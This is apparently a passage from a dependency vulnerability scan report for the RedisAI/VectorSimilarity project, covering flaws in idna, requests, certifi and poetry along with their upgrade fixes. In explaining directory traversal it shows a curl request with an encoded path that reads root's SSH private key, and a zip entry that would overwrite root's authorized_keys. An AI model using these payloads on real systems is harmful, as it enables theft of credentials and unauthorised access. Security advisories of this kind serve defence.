Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

  1. CCC
  2. CC+C
  3. C+CC
  4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

String Number of C's Number of steps
ACCCX 3 38
ACCCCX 4 71
ACCCCCX 5 136
ACCCCCCCCCCCCCCX 14 65,553

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

Upgrade idna to version 3.15 or higher.

References

medium severity

Insecure Temporary File

  • Vulnerable module: requests
  • Introduced through: poetry@1.4.2

Detailed paths

  • Introduced through: RedisAI/VectorSimilarity@RedisAI/VectorSimilarity poetry@1.4.2 requests@2.31.0
    Remediation: Upgrade to poetry@1.8.3.
  • Introduced through: RedisAI/VectorSimilarity@RedisAI/VectorSimilarity poetry@1.4.2 cachecontrol@0.12.14 requests@2.31.0
    Remediation: Upgrade to poetry@1.4.2.
  • Introduced through: RedisAI/VectorSimilarity@RedisAI/VectorSimilarity poetry@1.4.2 requests-toolbelt@0.10.1 requests@2.31.0

Overview

Affected versions of this package are vulnerable to Insecure Temporary File via the extract_zipped_paths function. An attacker can leverage unauthorized file replacement by pre-creating a malicious file in the system's temporary directory prior to extraction.

Note: Only applications that call extract_zipped_paths() directly are impacted.

Workaround

This vulnerability can be mitigated by setting the TMPDIR environment variable to a directory with restricted write access.

Remediation

Upgrade requests to version 2.33.0 or higher.

References

medium severity

MPL-2.0 license

  • Module: certifi
  • Introduced through: poetry@1.4.2

Detailed paths

  • Introduced through: RedisAI/VectorSimilarity@RedisAI/VectorSimilarity poetry@1.4.2 requests@2.31.0 certifi@2026.6.17
  • Introduced through: RedisAI/VectorSimilarity@RedisAI/VectorSimilarity poetry@1.4.2 cachecontrol@0.12.14 requests@2.31.0 certifi@2026.6.17
  • Introduced through: RedisAI/VectorSimilarity@RedisAI/VectorSimilarity poetry@1.4.2 requests-toolbelt@0.10.1 requests@2.31.0 certifi@2026.6.17

MPL-2.0 license

low severity

Directory Traversal

  • Vulnerable module: poetry
  • Introduced through: poetry@1.4.2

Detailed paths

  • Introduced through: RedisAI/VectorSimilarity@RedisAI/VectorSimilarity poetry@1.4.2
    Remediation: Upgrade to poetry@2.3.4.

Overview

poetry is a Python dependency management and packaging made easy.

Affected versions of this package are vulnerable to Directory Traversal via the extractall() function in src/poetry/utils/helpers.py that extracts sdist tarballs without path traversal protection on Python versions where tarfile.data_filter is unavailable. Considering only Python versions which are still supported by Poetry, these are 3.10.0 - 3.10.12 and 3.11.0 - 3.11.4.

Note:

Affected Environments:

  • Python 3.10.0 through 3.10.12 (inclusive): tarfile.data_filter absent or broken
  • Python 3.11.0 through 3.11.4 (inclusive): tarfile.data_filter absent or broken
  • Debian Bookworm: Python 3.11.2 (default)
  • Ubuntu 22.04 LTS: Python 3.10.6 (default)

Details

A Directory Traversal attack (also known as path traversal) aims to access files and directories that are stored outside the intended folder. By manipulating files with "dot-dot-slash (../)" sequences and its variations, or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system, including application source code, configuration, and other critical system files.

Directory Traversal vulnerabilities can be generally divided into two types:

  • Information Disclosure: Allows the attacker to gain information about the folder structure or read the contents of sensitive files on the system.

st is a module for serving static files on web pages, and contains a vulnerability of this type. In our example, we will serve files from the public route.

If an attacker requests the following URL from our server, it will in turn leak the sensitive private key of the root user.

curl http://localhost:8080/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/root/.ssh/id_rsa

Note %2e is the URL encoded version of . (dot).

  • Writing arbitrary files: Allows the attacker to create or replace existing files. This type of vulnerability is also known as Zip-Slip.

One way to achieve this is by using a malicious zip archive that holds path traversal filenames. When each filename in the zip archive gets concatenated to the target extraction folder, without validation, the final path ends up outside of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.

The following is an example of a zip archive with one benign file and one malicious file. Extracting the malicious file will result in traversing out of the target folder, ending up in /root/.ssh/ overwriting the authorized_keys file:

2018-04-15 22:04:29 .....           19           19  good.txt
2018-04-15 22:04:42 .....           20           20  ../../../../../../root/.ssh/authorized_keys

Remediation

Upgrade poetry to version 2.3.4 or higher.

References